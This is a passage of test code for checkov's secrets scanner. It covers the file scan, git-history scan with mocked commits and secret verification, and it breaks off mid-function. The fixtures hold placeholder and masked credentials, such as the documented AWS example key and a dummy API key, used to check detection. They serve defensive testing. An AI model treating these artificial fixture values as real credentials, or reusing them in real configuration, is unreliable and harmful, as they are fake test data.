test_runner_no_requested_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets']))\n        self.assertEqual(len(report.failed_checks), 9)\n\n    def test_true_positive_py(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_file_path = current_dir + \"/resources/file_type/test.py\"\n        runner = Runner()\n        report = runner.run(root_folder=None, files=[valid_file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 2)\n\n    def test_no_false_positive_yml_2(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/cfn\"\n        valid_file_path = valid_dir_path + \"/secret-no-false-positive.yml\"\n        runner = Runner()\n        report = runner.run(root_folder=None, files=[valid_file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 0)\n\n    def test_runner_entropy_source_files(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/test_entropy_source_files\"\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'],\n                                                                                   enable_secret_scan_all_files=True))\n        self.assertEqual(len(report.failed_checks), 2)\n        for failed in report.failed_checks:\n            if failed.check_id == 'CKV_SECRET_6':\n                self.assertEqual(failed.file_line_range, [4, 5])\n            elif failed.check_id == 'CKV_SECRET_4':\n                self.assertEqual(failed.file_line_range, [6, 7])\n            else:\n                self.fail(f'Got a bad result: {failed}')\n\n    def test_runner_omit_multiple_secrets_in_line(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/omit_multiple_secrets/test\"\n        runner = Runner()\n        runner_filter = RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)\n        report = runner.run(root_folder=valid_dir_path, runner_filter=runner_filter)\n        self.assertEqual(len(report.failed_checks), 2)\n        assert report.failed_checks[0].code_block[0][1] == \"export AWS_ACCESS_KEY_ID=AKIAI**********\\\\nexport CIRCLE='rk_liv**********'\\n\"\n        assert report.failed_checks[1].code_block[0][1] == \"export AWS_ACCESS_KEY_ID=AKIAI**********\\\\nexport CIRCLE='rk_liv**********'\\n\"\n\n    def test_metadata_suppression_object_rooted_json_skips_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        file_path = os.path.join(current_dir, \"suppressions/metadata_suppression_object.json\")\n\n        runner = Runner()\n        report = runner.run(root_folder=None, files=[file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True))\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 2)\n\n    def test_metadata_suppression_array_rooted_json_skips_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        file_path = os.path.join(current_dir, \"suppressions/metadata_suppression_array.json\")\n\n        runner = Runner()\n        report = runner.run(root_folder=None, files=[file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True))\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 2)\n\n    def test_metadata_suppression_yaml_skips_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        file_path = os.path.join(current_dir, \"suppressions/metadata_suppression.yaml\")\n\n        runner = Runner()\n        report = runner.run(root_folder=None, files=[file_path], external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True))\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 2)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/secrets/test_secret_git_history.py",
    "content": "from __future__ import annotations\n\nfrom unittest import mock\nfrom pathlib import Path\nimport shutil\nfrom copy import deepcopy\n\nfrom detect_secrets import SecretsCollection\nfrom detect_secrets.core.potential_secret import PotentialSecret\nfrom detect_secrets.settings import transient_settings\nfrom pytest_mock import MockerFixture\n\nfrom checkov.secrets.git_history_store import GitHistorySecretStore\nfrom checkov.secrets.git_types import Commit, CommitMetadata\nfrom checkov.secrets.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.output.secrets_record import COMMIT_REMOVED_STR, COMMIT_ADDED_STR\n\nfrom tests.secrets.git_history.test_utils import mock_git_repo_commits1, mock_git_repo_commits2, \\\n    mock_git_repo_commits3, mock_git_repo_commits_remove_file, mock_git_repo_commits_rename_file, \\\n    mock_git_repo_commits_modify_and_rename_file, mock_remove_file_with_two_equal_secret, \\\n    mock_remove_file_with_two_secret, mock_git_repo_multiline_json, mock_git_repo_multiline_terraform, \\\n    mock_git_repo_multiline_yml, mock_commit_with_keyword_combinator, mock_set_repo, mock_get_first_commit, \\\n    mock_get_first_empty_commit, mock_run_forever\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits1)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history() -> None:\n    valid_dir_path = \"test\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 6\n    assert len(report.parsing_errors) == 0\n    assert len(report.passed_checks) == 0\n    assert len(report.parsing_errors) == 0\n    assert len(report.skipped_checks) == 0\n    for failed_check in report.failed_checks:\n        assert failed_check.added_commit_hash or failed_check.removed_commit_hash\n        if failed_check.removed_commit_hash:\n            assert failed_check.removed_date\n        assert failed_check.added_by\n        assert failed_check.added_date\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits1)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_history_secrets() -> None:\n    valid_dir_path = \"test\"\n    secrets = SecretsCollection()\n    plugins_used = [\n        {'name': 'AWSKeyDetector'},\n    ]\n    from checkov.secrets.scan_git_history import GitHistoryScanner\n\n    with transient_settings({\n        # Only run scans with only these plugins.\n        'plugins_used': plugins_used\n    }) as settings:\n        settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file'])\n        GitHistoryScanner(valid_dir_path, secrets).scan_history()\n    assert len(secrets.data) == 3\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits2)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history_merge_added_removed() -> None:\n    \"\"\"\n    add, move, remove, add, move = secret with the first added_commit_hash and not removed_commit_hash\n    \"\"\"\n    valid_dir_path = \"test\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 4\n    for failed_check in report.failed_checks:\n        assert failed_check.removed_commit_hash == ''\n        assert failed_check.removed_date == ''\n        assert failed_check.added_commit_hash == '11e59e4e578c6ebcb48aae1e5e078a54c62920eb' or failed_check.added_commit_hash == 'c9b3268e15eb20fd406b9077a4c45875086d6c1b'\n        assert failed_check.added_by\n        assert failed_check.added_date\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits2)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_history_secrets_merge_added_removed() -> None:\n    valid_dir_path = \"test\"\n    secrets = SecretsCollection()\n    plugins_used = [\n        {'name': 'AWSKeyDetector'},\n    ]\n    from checkov.secrets.scan_git_history import GitHistoryScanner\n\n    with transient_settings({\n        # Only run scans with only these plugins.\n        'plugins_used': plugins_used\n    }) as settings:\n        settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file'])\n        GitHistoryScanner(valid_dir_path, secrets).scan_history()\n    assert len(secrets.data) == 1\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits3)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history_merge_added_removed2() -> None:\n    \"\"\"\n        add, move, add, remove one = 2 secret one with removed_commit_hash && added_commit_hash\n        and one with only added_commit_hash\n    \"\"\"\n    valid_dir_path = \"/Users/lshindelman/development/test2\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 5\n    assert ((report.failed_checks[0].removed_commit_hash == '697308e61171e33224757e620aaf67b1a877c99d'\n             and report.failed_checks[0].removed_date\n             and report.failed_checks[1].removed_commit_hash == '')\n            or (report.failed_checks[1].removed_commit_hash == '697308e61171e33224757e620aaf67b1a877c99d'\n                and report.failed_checks[1].removed_date\n                and report.failed_checks[0].removed_commit_hash == ''))\n    assert report.failed_checks[0].added_by and report.failed_checks[0].added_date\n    assert report.failed_checks[1].added_by and report.failed_checks[1].added_date\n    assert ((report.failed_checks[0].added_commit_hash == '900b1e8f6f336a92e8f5fca3babca764e32c3b3d'\n             and report.failed_checks[1].added_commit_hash == '3c8cb7eedb3986308c96713fc65b006adcf3bc44')\n            or (report.failed_checks[1].added_commit_hash == '900b1e8f6f336a92e8f5fca3babca764e32c3b3d'\n                and report.failed_checks[0].added_commit_hash == '3c8cb7eedb3986308c96713fc65b006adcf3bc44'))\n    # print testing\n    assert_for_commit_str(report.failed_checks[0].to_string() + report.failed_checks[1].to_string(),\n                          commit_type=COMMIT_REMOVED_STR,\n                          commit_hash='697308e61171e33224757e620aaf67b1a877c99d')\n    assert_for_commit_str(report.failed_checks[0].to_string() + report.failed_checks[1].to_string(),\n                          commit_type=COMMIT_ADDED_STR,\n                          commit_hash='3c8cb7eedb3986308c96713fc65b006adcf3bc44')\n    assert_for_commit_str(report.failed_checks[0].to_string() + report.failed_checks[1].to_string(),\n                          commit_type=COMMIT_ADDED_STR,\n                          commit_hash='900b1e8f6f336a92e8f5fca3babca764e32c3b3d')\n\n\n# this test is too flaky !\n# @pytest.mark.filterwarnings(\"error\")  # otherwise pytest sometimes suppresses the raised Timeout Exception\n# @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_too_much)\n# @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n# @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_first_commit', mock_get_first_commit)\n# def test_scan_history_secrets_timeout() -> None:\n#     \"\"\"\n#     add way too many cases to check in 1 second\n#     \"\"\"\n#     valid_dir_path = \"test\"\n#     secrets = SecretsCollection()\n#     plugins_used = [\n#         {'name': 'AWSKeyDetector'},\n#     ]\n#     from checkov.secrets.scan_git_history import GitHistoryScanner\n#\n#     with transient_settings({\n#         # Only run scans with only these plugins.\n#         'plugins_used': plugins_used\n#     }) as settings:\n#         settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file'])\n#         finished = GitHistoryScanner(valid_dir_path, secrets, None, 1).scan_history()\n#\n#     assert finished is False\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_run_forever)\ndef test_scan_history_secrets_timeout() -> None:\n    \"\"\"\n    add way too many cases to check in 1 second\n    \"\"\"\n    valid_dir_path = \"test\"\n    secrets = SecretsCollection()\n    plugins_used = [\n        {'name': 'AWSKeyDetector'},\n    ]\n    from checkov.secrets.scan_git_history import GitHistoryScanner\n\n    with transient_settings({\n        # Only run scans with only these plugins.\n        'plugins_used': plugins_used\n    }) as settings:\n        settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file'])\n        finished = GitHistoryScanner(valid_dir_path, secrets, None, 1).scan_history()\n\n    assert finished is False\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_remove_file)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history_remove_file() -> None:\n    valid_dir_path = \"remove_file\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 4\n    assert report.failed_checks[0].removed_commit_hash == '4bd08cd0b2874025ce32d0b1e9cd84ca20d59ce1'\n    assert report.failed_checks[0].removed_date\n    assert report.failed_checks[0].added_commit_hash == '63342dbee285973a37770bbb1ff4258a3184901e'\n    assert report.failed_checks[0].added_by and report.failed_checks[0].added_date\n    assert report.failed_checks[0].removed_date\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits_rename_file)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history_rename_file() -> None:\n    valid_dir_path = \"/test/git/history/rename/file\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 5\n    assert (report.failed_checks[0].removed_commit_hash == '' and report.failed_checks[0].removed_date == '' and\n            report.failed_checks[0].added_commit_hash == '2e1a500e688990e065fc6f1202bc64ed0ba53027')\n    assert (report.failed_checks[1].removed_commit_hash == '2e1a500e688990e065fc6f1202bc64ed0ba53027' and\n            report.failed_checks[1].removed_date == '2022-12-14T16:32:13+00:00' and\n            report.failed_checks[1].added_commit_hash == 'adef7360b86c62666f0a70521214220763b9c593')\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff',\n            mock_git_repo_commits_modify_and_rename_file)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history_modify_and_rename_file() -> None:\n    valid_dir_path = \"test_scan_git_history_modify_and_rename_file\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 4\n    assert report.failed_checks[0].added_commit_hash == '62da8e5e04ec5c3a474467e9012bf3427cff0407'\n    assert report.failed_checks[0].added_by and report.failed_checks[0].added_date\n    assert report.failed_checks[0].removed_commit_hash == '61ee79aea3d151a40c8e054295f330d233eaf7d5'\n    assert report.failed_checks[0].removed_date\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff',\n            mock_remove_file_with_two_equal_secret)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit)\ndef test_scan_git_history_rename_file_with_two_equal_secrets() -> None:\n    valid_dir_path = \"test_scan_git_history_rename_file_with_two_equal_secrets\"\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 2\n\n    assert report.failed_checks[0].removed_commit_hash == report.failed_checks[1].removed_commit_hash\n    assert report.failed_checks[1].removed_commit_hash\n    assert report.failed_checks[0].removed_date and report.failed_checks[0].removed_date == report.failed_checks[\n        1].removed_date\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_remove_file_with_two_secret)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit)\ndef test_scan_git_history_rename_file_with_two_secrets() -> None:\n    valid_dir_path = \"test_scan_git_history_rename_file_with_two_secrets\"\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 2\n    report.failed_checks[0].removed_commit_hash == report.failed_checks[1].removed_commit_hash\n    assert report.failed_checks[1].removed_commit_hash\n    assert report.failed_checks[0].removed_date and report.failed_checks[0].removed_date == report.failed_checks[\n        1].removed_date\n\n\ndef assert_for_commit_str(report_str: [str], commit_type: str, commit_hash: str, found: bool = True) -> None:\n    to_find = f'; {commit_type}: {commit_hash}'\n    assert (to_find in report_str) == found\n\n\n# added all file scenarios from multiline tests\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff',\n            mock_git_repo_multiline_json)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit)\ndef test_scan_git_history_multiline_keyword_json() -> None:\n    valid_dir_path = \"multiline_keyword_json\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 5\n    assert report.parsing_errors == []\n    assert report.passed_checks == []\n    assert report.skipped_checks == []\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_multiline_terraform)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_empty_commit)\ndef test_scan_git_history_multiline_keyword_terraform() -> None:\n    valid_dir_path = \"mock_git_repo_multiline_terraform\"\n\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    #  then\n    failing_resources = {\n        \"6bee3eb2f69e06095395ae1d54c810c3a2a99841:9ed4f1457a9c27dd868c1f21276c6d7098d2bacf\",\n        \"6bee3eb2f69e06095395ae1d54c810c3a2a99841:5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a\",\n        \"6bee3eb2f69e06095395ae1d54c810c3a2a99841:ac236b0474a9a702f99dbe244a14548783ace5c5\",\n        \"6bee3eb2f69e06095395ae1d54c810c3a2a99841:06af723e58378574456be0b4c41a89194aaed0c3\",\n        \"6bee3eb2f69e06095395ae1d54c810c3a2a99841:dcbf46de362e1b6942054b89ee293984e9a8a40a\",\n    }\n\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert len(report.failed_checks) == len(failing_resources)\n    assert report.parsing_errors == []\n    assert report.passed_checks == []\n    assert report.skipped_checks == []\n    assert failing_resources == failed_check_resources\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_multiline_yml)\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_git_history_multiline_keyword_yml() -> None:\n    valid_dir_path = \"mock_git_repo_multiline_yml\"\n    runner = Runner()\n\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 8\n    assert report.parsing_errors == []\n    assert report.passed_checks == []\n    assert report.skipped_checks == []\n\n\ndef test_scan_git_history_full_vs_partial(mocker: MockerFixture) -> None:\n    # this takes the 3 mock commits and run _test_it on them\n    commits_func = [mock_git_repo_commits1('', ''), mock_git_repo_commits2('', ''), mock_git_repo_commits3('', '')]\n    all([_test_it(mocker, commits) for commits in commits_func])\n\n\ndef _test_it(mocker: MockerFixture, all_commits) -> bool:\n    \"\"\"\n    this test tries to run a full scan over 5 commits,\n    then run two separate runs over the first 2 and the last 3 (the second will give the secret store to the third)\n    then compares the results from run 1 to the last run\n    \"\"\"\n    valid_dir_path = \"test\"\n    mocker.patch(\n        \"checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff\",\n        return_value=all_commits,\n    )\n    runner = Runner()\n    report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    sec_store = runner.get_history_secret_store()\n    # assert len(report.failed_checks) == 3\n    for failed_check in report.failed_checks:\n        assert failed_check.added_commit_hash or failed_check.removed_commit_hash\n        assert failed_check.added_by and failed_check.added_date\n\n    mocker.patch(\n        \"checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff\", return_value=all_commits[0:1])\n    runner2 = Runner()\n    report2 = runner2.run(root_folder=valid_dir_path, external_checks_dir=None,\n                          runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    # assert len(report2.failed_checks) == 1\n    sec_store2 = runner2.get_history_secret_store()\n    sec_store2_dc = deepcopy(sec_store2)\n\n    mocker.patch(\n        \"checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff\", return_value=all_commits[2:5])\n    runner3 = Runner()\n    runner3.set_history_secret_store(sec_store2_dc)\n    report3 = runner3.run(root_folder=valid_dir_path, external_checks_dir=None,\n                          runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    sec_store3 = runner3.get_history_secret_store()\n    assert len(report3.failed_checks) == len(report.failed_checks)\n    for failed_check in report3.failed_checks:\n        assert failed_check.added_commit_hash or failed_check.removed_commit_hash\n        assert failed_check.added_by and failed_check.added_date\n    # check the secret store to have the same results\n    assert len(sec_store) == len(sec_store3)\n    for k1, k3 in zip(sec_store, sec_store3):\n        assert k1 == k3\n        assert sec_store[k1][0].get('added_commit_hash') == sec_store3[k3][0].get('added_commit_hash')\n    return True\n\n\ndef test_scan_git_history_real_repo() -> None:\n    \"\"\"\n    runs over a real repo inside the resource dir and takes the results\n    \"\"\"\n\n    dir_path = Path(__file__).parent / 'git_history/testing_repo'\n    git_conf_dir = dir_path / 'git_to_change'\n    tmp_git_conf_dir = dir_path / '.git'\n    shutil.rmtree(tmp_git_conf_dir, ignore_errors=True)  # make sure no left overs from prev run\n    shutil.copytree(git_conf_dir, tmp_git_conf_dir)\n\n    runner = Runner()\n    report = runner.run(root_folder=str(dir_path), external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 2\n    assert report.failed_checks[0].added_commit_hash and not report.failed_checks[0].removed_commit_hash\n    assert report.failed_checks[0].added_date and not report.failed_checks[0].removed_date\n    assert report.failed_checks[1].added_commit_hash and report.failed_checks[1].removed_commit_hash and \\\n           report.failed_checks[1].removed_date\n    shutil.rmtree(tmp_git_conf_dir)  # just for cleaning\n\n\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_git_history_plugin(mocker: MockerFixture) -> None:\n    valid_dir_path = \"test\"\n    commits = mock_commit_with_keyword_combinator()\n    mocker.patch(\n        \"checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff\", return_value=commits)\n    runner = Runner()\n    report = runner.run(root_folder=str(valid_dir_path), external_checks_dir=None,\n                        runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True))\n    assert len(report.failed_checks) == 4\n    check = report.failed_checks[0]\n    assert check.added_commit_hash\n    assert check.check_name == 'Base64 High Entropy String'\n\n\n@mock.patch(\"checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff\", lambda self, last_commit_sha: [])\n@mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo)\n@mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit)\ndef test_scan_history_secrets_with_history_store_and_no_new_commit() -> None:\n    # given\n    root_folder = \"test\"\n    secrets = SecretsCollection()\n    plugins_used = [\n        {\"name\": \"AWSKeyDetector\"},\n    ]\n\n    file_name = \"Dockerfile\"\n    file_results = [\n        PotentialSecret(\n            type=\"AWS Access Key\",\n            filename=file_name,\n            secret=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n            line_number=7,\n            is_added=True,\n            is_removed=False,\n        )\n    ]\n    commit = Commit(\n        metadata=CommitMetadata(\n            commit_hash=\"8a21fa691e17907afee57e93b7820c5943b12746\",\n            committer=\"Momo\",\n            committed_datetime=\"2022-12-24T01:02:03+00:00\",\n        ),\n        files={\n            \"Dockerfile\": 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n COPY Pipfile Pipfile.lock ./\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n'\n        },\n    )\n\n    history_store = GitHistorySecretStore()\n    history_store.set_secret_map(file_results=file_results, file_name=file_name, commit=commit)\n\n    # when\n    from checkov.secrets.scan_git_history import GitHistoryScanner\n\n    with transient_settings(\n            {\n                # Only run scans with only these plugins.\n                \"plugins_used\": plugins_used\n            }\n    ) as settings:\n        settings.disable_filters(*[\"detect_secrets.filters.common.is_invalid_file\"])\n        GitHistoryScanner(root_folder=root_folder, secrets=secrets, history_store=history_store).scan_history()\n\n    # then\n    assert len(secrets.data) == 1\n"
  },
  {
    "path": "tests/secrets/test_secrets_verification.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom unittest import mock\n\nimport pytest\nimport responses\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.secrets.consts import VerifySecretsResult\n\n\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_verify_secrets_insufficient_params_skip_download() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.skip_download = True\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result == VerifySecretsResult.INSUFFICIENT_PARAMS\n\n\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_verify_secrets_insufficient_params_no_api_key() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = None\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result == VerifySecretsResult.INSUFFICIENT_PARAMS\n\n\ndef test_verify_secrets_insufficient_params_no_flag() -> None:\n    # Not setting CKV_VALIDATE_SECRETS env var\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result == VerifySecretsResult.INSUFFICIENT_PARAMS\n\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"true\"})\ndef test_verify_secrets_insufficient_params_tenant_config_overrides_true_flag() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.customer_run_config_response = {'tenantConfig': {'secretsValidate': False}}\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result == VerifySecretsResult.INSUFFICIENT_PARAMS\n\n\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"false\"})\ndef test_verify_secrets_insufficient_params_tenant_config_overrides_false_flag() -> None:\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.customer_run_config_response = {'tenantConfig': {'secretsValidate': True}}\n    bc_integration.skip_download = False\n\n    from checkov.secrets.runner import Runner\n    from checkov.common.output.report import Report\n    result = Runner().verify_secrets(Report(check_type=CheckType.SECRETS), \"\")\n\n    assert result != VerifySecretsResult.INSUFFICIENT_PARAMS\n\n@mock.patch.dict(os.environ, {\"CKV_VALIDATE_SECRETS\": \"false\"})\ndef 